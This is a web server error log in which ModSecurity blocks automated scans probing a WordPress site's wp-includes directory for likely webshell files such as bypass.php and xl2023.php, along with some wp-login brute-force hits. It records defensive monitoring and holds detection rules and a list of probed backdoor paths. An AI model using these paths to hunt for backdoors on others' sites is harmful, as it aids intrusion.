[Fri Feb 27 04:30:19.110457 2026] [proxy_fcgi:error] [pid 5365:tid 5372] [client 173.239.214.12:65139] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:19.496329 2026] [:error] [pid 5365:tid 5390] [client 173.239.214.12:65139] [client 173.239.214.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aaCtW5YAa8J3tYxdG3z6qwAAARc"]
[Fri Feb 27 04:30:20.048978 2026] [proxy_fcgi:error] [pid 3974:tid 4046] [client 185.198.240.139:30989] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:20.345460 2026] [proxy_fcgi:error] [pid 3974:tid 4047] [client 185.198.240.139:30989] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:20.673861 2026] [:error] [pid 3974:tid 4056] [client 185.198.240.139:30989] [client 185.198.240.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aaCtXHp-fQtdOYjkuFvU1QAAAFM"]
[Fri Feb 27 04:30:21.586604 2026] [proxy_fcgi:error] [pid 3973:tid 3995] [client 185.198.240.150:46517] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:22.118645 2026] [:error] [pid 3973:tid 3986] [client 185.198.240.150:46517] [client 185.198.240.150] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.198.240.150, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aaCtXoJZsftwqmUaaLPzpQAAAAM"]
[Fri Feb 27 04:30:22.409848 2026] [:error] [pid 3973:tid 4004] [client 185.198.240.150:46517] [client 185.198.240.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aaCtXoJZsftwqmUaaLPzrAAAABU"]
[Fri Feb 27 04:30:25.595674 2026] [proxy_fcgi:error] [pid 3975:tid 4022] [client 173.239.214.20:20079] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:26.716548 2026] [proxy_fcgi:error] [pid 3975:tid 4028] [client 173.239.214.20:20079] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:27.240471 2026] [proxy_fcgi:error] [pid 3975:tid 4015] [client 173.239.214.20:20079] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:27.476476 2026] [:error] [pid 3975:tid 4027] [client 173.239.214.20:20079] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aaCtYxMVp0-T2hD76b23lAAAAJE"]
[Fri Feb 27 04:30:27.972835 2026] [proxy_fcgi:error] [pid 5365:tid 5377] [client 173.239.214.22:52141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:28.808889 2026] [:error] [pid 5365:tid 5369] [client 173.239.214.22:52141] [client 173.239.214.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.22, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aaCtZJYAa8J3tYxdG3z8YAAAAQI"]
[Fri Feb 27 04:30:29.144780 2026] [proxy_fcgi:error] [pid 5365:tid 5381] [client 173.239.214.22:52141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:29.441446 2026] [proxy_fcgi:error] [pid 5365:tid 5369] [client 173.239.214.22:52141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:29.716463 2026] [proxy_fcgi:error] [pid 5365:tid 5376] [client 173.239.214.22:52141] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:30.044876 2026] [:error] [pid 5365:tid 5374] [client 173.239.214.22:52141] [client 173.239.214.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aaCtZpYAa8J3tYxdG3z8lwAAAQc"]
[Fri Feb 27 04:30:30.546015 2026] [proxy_fcgi:error] [pid 4081:tid 4087] [client 173.239.214.17:58287] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:30.915042 2026] [:error] [pid 4081:tid 4098] [client 173.239.214.17:58287] [client 173.239.214.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aaCtZg55mnr35z8h7t3XEAAAAM8"]
[Fri Feb 27 04:30:31.834229 2026] [proxy_fcgi:error] [pid 3974:tid 4057] [client 185.198.240.145:29283] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:32.099742 2026] [:error] [pid 3974:tid 4056] [client 185.198.240.145:29283] [client 185.198.240.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaCtaHp-fQtdOYjkuFvVoAAAAFM"]
[Fri Feb 27 04:30:33.224461 2026] [proxy_fcgi:error] [pid 5365:tid 5389] [client 173.239.214.19:43519] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:33.500338 2026] [:error] [pid 5365:tid 5377] [client 173.239.214.19:43519] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aaCtaZYAa8J3tYxdG3z9CwAAAQo"]
[Fri Feb 27 04:30:33.994904 2026] [:error] [pid 3973:tid 3990] [client 209.87.169.176:30427] [client 209.87.169.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aaCtaYJZsftwqmUaaLP0WAAAAAc"]
[Fri Feb 27 04:30:34.503838 2026] [proxy_fcgi:error] [pid 5365:tid 5377] [client 185.198.240.152:28289] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:34.748973 2026] [proxy_fcgi:error] [pid 5365:tid 5390] [client 185.198.240.152:28289] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:35.885768 2026] [:error] [pid 5365:tid 5370] [client 185.198.240.152:28289] [client 185.198.240.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aaCta5YAa8J3tYxdG3z9bAAAAQM"]
[Fri Feb 27 04:30:36.799843 2026] [:error] [pid 5365:tid 5387] [client 185.198.240.149:57967] [client 185.198.240.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaCtbJYAa8J3tYxdG3z9iQAAARQ"]
[Fri Feb 27 04:30:37.297338 2026] [proxy_fcgi:error] [pid 42435:tid 42450] [client 173.239.214.20:36191] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:38.055242 2026] [:error] [pid 42435:tid 42446] [client 173.239.214.20:36191] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aaCtbh5hHLnaukp_y991AgAAAYY"]
[Fri Feb 27 04:30:38.562787 2026] [proxy_fcgi:error] [pid 5365:tid 5391] [client 173.239.214.18:38873] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:39.111787 2026] [proxy_fcgi:error] [pid 5365:tid 5374] [client 173.239.214.18:38873] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:39.331124 2026] [:error] [pid 5365:tid 5369] [client 173.239.214.18:38873] [client 173.239.214.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aaCtb5YAa8J3tYxdG3z93gAAAQI"]
[Fri Feb 27 04:30:39.806698 2026] [proxy_fcgi:error] [pid 42435:tid 42447] [client 173.239.214.13:55795] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:40.351982 2026] [:error] [pid 42435:tid 42448] [client 173.239.214.13:55795] [client 173.239.214.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "aaCtcB5hHLnaukp_y991PwAAAYg"]
[Fri Feb 27 04:30:40.870912 2026] [proxy_fcgi:error] [pid 21329:tid 21395] [client 173.239.214.10:46531] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:41.720078 2026] [:error] [pid 21329:tid 21390] [client 173.239.214.10:46531] [client 173.239.214.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aaCtcZvQWnde-MjcQ1FODwAAAUc"]
[Fri Feb 27 04:30:42.553451 2026] [proxy_fcgi:error] [pid 42435:tid 42452] [client 173.239.214.10:31833] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:43.143137 2026] [proxy_fcgi:error] [pid 42435:tid 42453] [client 173.239.214.10:31833] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:43.503446 2026] [proxy_fcgi:error] [pid 42435:tid 42463] [client 173.239.214.10:31833] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:44.095697 2026] [proxy_fcgi:error] [pid 42435:tid 42457] [client 173.239.214.10:31833] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:44.363914 2026] [:error] [pid 42435:tid 42459] [client 173.239.214.10:31833] [client 173.239.214.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aaCtdB5hHLnaukp_y991sQAAAZM"]
[Fri Feb 27 04:30:44.840540 2026] [:error] [pid 5365:tid 5369] [client 173.239.214.4:65495] [client 173.239.214.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aaCtdJYAa8J3tYxdG3z-NAAAAQI"]
[Fri Feb 27 04:30:45.375294 2026] [:error] [pid 3974:tid 4051] [client 185.198.240.151:33975] [client 185.198.240.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aaCtdXp-fQtdOYjkuFvWLQAAAE4"]
[Fri Feb 27 04:30:45.978091 2026] [:error] [pid 4081:tid 4099] [client 173.239.214.28:58135] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aaCtdQ55mnr35z8h7t3YDAAAANA"]
[Fri Feb 27 04:30:46.588472 2026] [proxy_fcgi:error] [pid 3974:tid 4060] [client 173.239.214.27:22063] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:46.854695 2026] [:error] [pid 3974:tid 4059] [client 173.239.214.27:22063] [client 173.239.214.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aaCtdnp-fQtdOYjkuFvWOQAAAFY"]
[Fri Feb 27 04:30:47.357945 2026] [:error] [pid 3974:tid 4042] [client 173.239.214.20:55723] [client 173.239.214.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaCtd3p-fQtdOYjkuFvWPQAAAEU"]
[Fri Feb 27 04:30:47.953129 2026] [proxy_fcgi:error] [pid 3974:tid 4059] [client 173.239.214.9:40931] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:48.526033 2026] [:error] [pid 3974:tid 4059] [client 173.239.214.9:40931] [client 173.239.214.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aaCteHp-fQtdOYjkuFvWTgAAAFY"]
[Fri Feb 27 04:30:49.077882 2026] [:error] [pid 42563:tid 42580] [client 185.198.240.140:30009] [client 185.198.240.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aaCteXKL5BclZy73IRGmeQAAAco"]
[Fri Feb 27 04:30:49.711920 2026] [:error] [pid 42563:tid 42589] [client 173.239.214.19:44279] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aaCteXKL5BclZy73IRGmhAAAAdM"]
[Fri Feb 27 04:30:50.516818 2026] [:error] [pid 3975:tid 4034] [client 185.198.240.141:30593] [client 185.198.240.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aaCtehMVp0-T2hD76b248AAAAJY"]
[Fri Feb 27 04:30:51.426965 2026] [:error] [pid 42563:tid 42571] [client 173.239.214.22:36309] [client 173.239.214.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aaCte3KL5BclZy73IRGmugAAAcM"]
[Fri Feb 27 04:30:52.533084 2026] [:error] [pid 42563:tid 42577] [client 185.198.240.135:34953] [client 185.198.240.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aaCtfHKL5BclZy73IRGm3QAAAcg"]
[Fri Feb 27 04:30:53.179794 2026] [proxy_fcgi:error] [pid 21329:tid 21407] [client 173.239.214.19:45913] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:54.117718 2026] [proxy_fcgi:error] [pid 21329:tid 21394] [client 173.239.214.19:45913] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:54.390115 2026] [:error] [pid 21329:tid 21400] [client 173.239.214.19:45913] [client 173.239.214.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aaCtfpvQWnde-MjcQ1FOeQAAAVE"]
[Fri Feb 27 04:30:55.402451 2026] [proxy_fcgi:error] [pid 42563:tid 42593] [client 173.239.214.24:48703] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:55.710143 2026] [proxy_fcgi:error] [pid 42563:tid 42581] [client 173.239.214.24:48703] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:57.017474 2026] [proxy_fcgi:error] [pid 42563:tid 42593] [client 173.239.214.24:48703] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:57.296062 2026] [:error] [pid 42563:tid 42568] [client 173.239.214.24:48703] [client 173.239.214.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aaCtgXKL5BclZy73IRGnXAAAAcA"]
[Fri Feb 27 04:30:57.815809 2026] [proxy_fcgi:error] [pid 42563:tid 42577] [client 185.198.240.144:32947] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:30:58.749704 2026] [:error] [pid 42563:tid 42592] [client 185.198.240.144:32947] [client 185.198.240.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aaCtgnKL5BclZy73IRGnfgAAAdY"]
[Fri Feb 27 04:30:59.359319 2026] [:error] [pid 3975:tid 4026] [client 173.239.214.28:22459] [client 173.239.214.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aaCtgxMVp0-T2hD76b25IQAAAJA"]
[Fri Feb 27 04:31:01.364330 2026] [:error] [pid 42563:tid 42568] [client 185.198.240.138:41809] [client 185.198.240.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aaCthXKL5BclZy73IRGnrAAAAcA"]
[Fri Feb 27 04:31:03.529451 2026] [proxy_fcgi:error] [pid 3973:tid 3994] [client 185.198.240.147:55661] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:03.860462 2026] [proxy_fcgi:error] [pid 3973:tid 3992] [client 185.198.240.147:55661] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:04.186009 2026] [:error] [pid 3973:tid 3992] [client 185.198.240.147:55661] [client 185.198.240.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/plugins.php"] [unique_id "aaCtiIJZsftwqmUaaLP2FAAAAAk"]
[Fri Feb 27 04:31:04.894479 2026] [proxy_fcgi:error] [pid 3975:tid 4011] [client 185.198.240.138:22737] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:05.242785 2026] [proxy_fcgi:error] [pid 3975:tid 4020] [client 185.198.240.138:22737] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 04:31:06.768911 2026] [:error] [pid 3975:tid 4026] [client 185.198.240.138:22737] [client 185.198.240.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aaCtihMVp0-T2hD76b25UQAAAJA"]
[Fri Feb 27 04:31:07.309901 2026] [:error] [pid 21329:tid 21405] [client 185.198.240.138:51857] [client 185.198.240.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aaCti5vQWnde-MjcQ1FOvQAAAVY"]
[Fri Feb 27 04:31:07.964259 2026] [:error] [pid 42658:tid 42663] [client 185.198.240.143:51587] [client 185.198.240.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aaCti4zcoYl3nRbu1jY_mAAAAgM"]
[Fri Feb 27 04:31:08.549659 2026] [:error] [pid 42435:tid 42458] [client 185.198.240.151:48275] [client 185.198.240.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aaCtjB5hHLnaukp_y992qAAAAZI"]
[Fri Feb 27 04:31:09.086134 2026] [:error] [pid 5365:tid 5379] [client 185.198.240.154:25875] [client 185.198.240.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aaCtjZYAa8J3tYxdG3wAHQAAAQw"]
[Fri Feb 27 04:31:09.607095 2026] [:error] [pid 5365:tid 5386] [client 173.239.214.7:46523] [client 173.239.214.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aaCtjZYAa8J3tYxdG3wALAAAARM"]
[Fri Feb 27 04:31:10.519241 2026] [:error] [pid 42658:tid 42682] [client 185.198.240.136:47321] [client 185.198.240.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aaCtjozcoYl3nRbu1jY_zQAAAhY"]
